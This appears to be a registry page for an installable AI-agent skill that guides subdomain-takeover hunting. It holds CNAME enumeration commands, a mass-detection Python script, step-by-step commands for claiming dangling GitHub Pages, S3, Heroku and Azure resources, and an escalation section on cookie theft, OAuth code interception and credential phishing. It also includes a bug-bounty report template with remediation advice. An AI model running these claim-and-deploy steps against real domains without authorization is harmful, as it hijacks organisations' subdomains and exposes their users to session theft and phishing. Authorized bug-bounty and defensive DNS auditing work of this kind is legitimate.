hunt-subdomain-takeover · git:20260923.82a4143 · 2026-09-23 · sha256 3898361f574ad83b
hunt-subdomain-takeover git:20260923.82a4143A
Immutable. This exact content never changes and is served at /api/v1/blob/3898361f574ad83b.
No tool to install first
claude plugin marketplace add https://markdownregistry.com/mp/a/art_q34wudyjhnuozz6o/3898361f574ad83b16b124f3033fa7879cf8a7cee5b641ab00f595a0b16c8886.json
Then /plugin install hunt-subdomain-takeover@markdownregistry-q34wudyjhnuozz6o in Claude Code. It installs this exact version, the one graded A here, pinned to the commit it was graded at, and leaves it there.
---
name: hunt-subdomain-takeover
description: Subdomain takeover — dangling CNAME detection, platform-specific claims, mass automation, escalation to XSS/ATO.
---
# SUBDOMAIN TAKEOVER
## Overview
DNS CNAME points to external service nobody claimed. Register it, serve content on their subdomain.
## Complete Flow
```
1. Enumerate subdomains → extract CNAMEs
2. Check if referenced resource exists (dangling CNAME)
3. Claim the resource on the platform
4. Deploy content (XSS, phishing)
5. Report with impact (XSS, ATO)
```
## Real Bounty Examples
- **HackerOne #1709887** — GitHub Pages, $500. `docs.target.com` CNAME to `target.github.io`. Repo deleted, claimed it, XSS on target.com origin.
- **HackerOne #1524161** — S3 bucket, $750. `assets.target.com` CNAME to `target-assets.s3.amazonaws.com`. Bucket unclaimed, registered, served phishing.
- **HackerOne #1289729** — Heroku, $300. `api.target.com` CNAME to `target-api.herokuapp.com`. App deleted, recreated, cookie-stealing JS.
- **Bugcrowd #555512** — Shopify, $1,000. `shop.target.com` CNAME to `target.myshopify.com`. Store unclaimed, created with fake checkout.
## Detection
### CNAME Extraction
```bash
dnsx -l subs.txt -cname -resp -o cnames.txt
# Or massdns
cat subs.txt | massdns -r resolvers.txt -t CNAME -o S -w cnames_raw.txt
grep -oP 'CNAME\s+\K[^\s]+' cnames_raw.txt | sort -u > dangling.txt
```
### Dangling Check
```bash
httpx -l subs.txt -sc -cl -title -o http_results.txt
# Manual
curl -sI "https://sub.target.com" | head -5
# 000/502/503/404 = likely dangling
```
### Platform Fingerprinting
```
github.io → GitHub Pages herokuapp.com → Heroku
s3.amazonaws.com → AWS S3 azurewebsites.net → Azure
shopify.com → Shopify fastly.net → Fastly
netlify.app → Netlify vercel.app → Vercel
firebaseapp.com → Firebase pages.dev → Cloudflare Pages
pantheon.io → Pantheon onrender.com → Render
railway.app → Railway ghost.io → Ghost
```
## Platform-Specific Claims
### GitHub Pages
```bash
# Check: 404 = takeable
curl -s -o /dev/null -w "%{http_code}" "https://github.com/ORG/REPO-NAME"
# Create repo matching CNAME (abc.github.com → repo: abc)
echo '<h1>Hacked</h1>' > index.html
git init && git add . && git commit -m "xss"
git remote add origin git@github.com:USER/REPO-NAME.git
git push -u origin master
# Enable Pages in Settings → Source: main
```
### AWS S3
```bash
# Check: NoSuchBucket = takeable
aws s3 ls s3://BUCKET-NAME 2>&1
# Create + configure
aws s3 mb s3://BUCKET-NAME --region us-east-1
aws s3 website s3://BUCKET-NAME --index-document index.html
# Set public read policy, upload index.html
```
### Heroku
```bash
# Check: 404 = takeable
curl -s -o /dev/null -w "%{http_code}" "https://APP-NAME.herokuapp.com"
heroku create APP-NAME
# Deploy simple node app with XSS payload
git push heroku master
```
### Azure
```bash
# Check: 404 = takeable
az webapp create --resource-group myRG --plan myPlan --name APP-NAME
```
### Shopify
```bash
# Check: 404 = takeable
# Create partner account → store name = subdomain (shop.target.com → shop.myshopify.com)
```
### Fastly
```bash
# Check: "no such service" error
# Sign up → create service → add custom domain matching CNAME
```
## Mass Detection Script
```python
#!/usr/bin/env python3
import subprocess, json
VULN = ['github.io','s3.amazonaws.com','herokuapp.com','azurewebsites.net',
'shopify.com','fastly.net','netlify.app','vercel.app','firebaseapp.com']
def check(sub):
try:
r = subprocess.run(['dig','CNAME',sub,'+short'], capture_output=True, text=True, timeout=5)
cname = r.stdout.strip()
if not cname: return None
for svc in VULN:
if svc in cname.lower():
h = subprocess.run(['curl','-sI','-o','/dev/null','-w','%{http_code}',
f'https://{sub}'], capture_output=True, text=True, timeout=5)
if h.stdout.strip() in ['000','404','502','503']:
return {'sub':sub,'cname':cname,'svc':svc,'vuln':True}
except: pass
with open('subs.txt') as f:
subs = [l.strip() for l in f if l.strip()]
results = [r for s in subs if (r:=check(s))]
for r in results: print(f"[VULN] {r['sub']} → {r['cname']}")
json.dump(results, open('takeover.json','w'), indent=2)
print(f"Found {len(results)} candidates")
```
## Escalation to ATO
```
XSS on Origin:
Subdomain takeover + XSS → execute on target.com
→ Steal cookies → Account takeover
→ Steal CSRF tokens → Perform actions as victim
OAuth Abuse:
Takeover as redirect_uri → intercept auth codes
→ Exchange for tokens → Full account access
Phishing:
Serve realistic login page → victim enters credentials
→ Attacker captures → Account takeover
Session Fixation:
Inject session token via XSS → victim uses fixed session
→ Attacker uses same session ID → Full access
```
## Reporting Template
```
Title: Subdomain Takeover on [sub.target.com]
Summary:
DNS CNAME for [sub.target.com] points to [service] but resource
is unclaimed. I registered it and served arbitrary content on
target.com origin.
Impact:
- XSS on target.com (same-origin policy applies)
- Cookie theft → ATO
- Phishing via realistic login page
- OAuth redirect_uri abuse
Steps to Reproduce:
1. Enumerate subdomains → CNAME to [service]
2. Verify unclaimed (404/502 response)
3. Claim on [platform]
4. Deploy content
5. Visit https://sub.target.com → see attacker content
Remediation:
- Remove unused CNAME records
- Delete orphaned resources
- Monitor DNS for dangling records
```
## Key Indicators
- CNAME to external service + HTTP 404/502/503 = takeover candidate
- Always check same-origin XSS impact
- Cookie theft = ATO escalation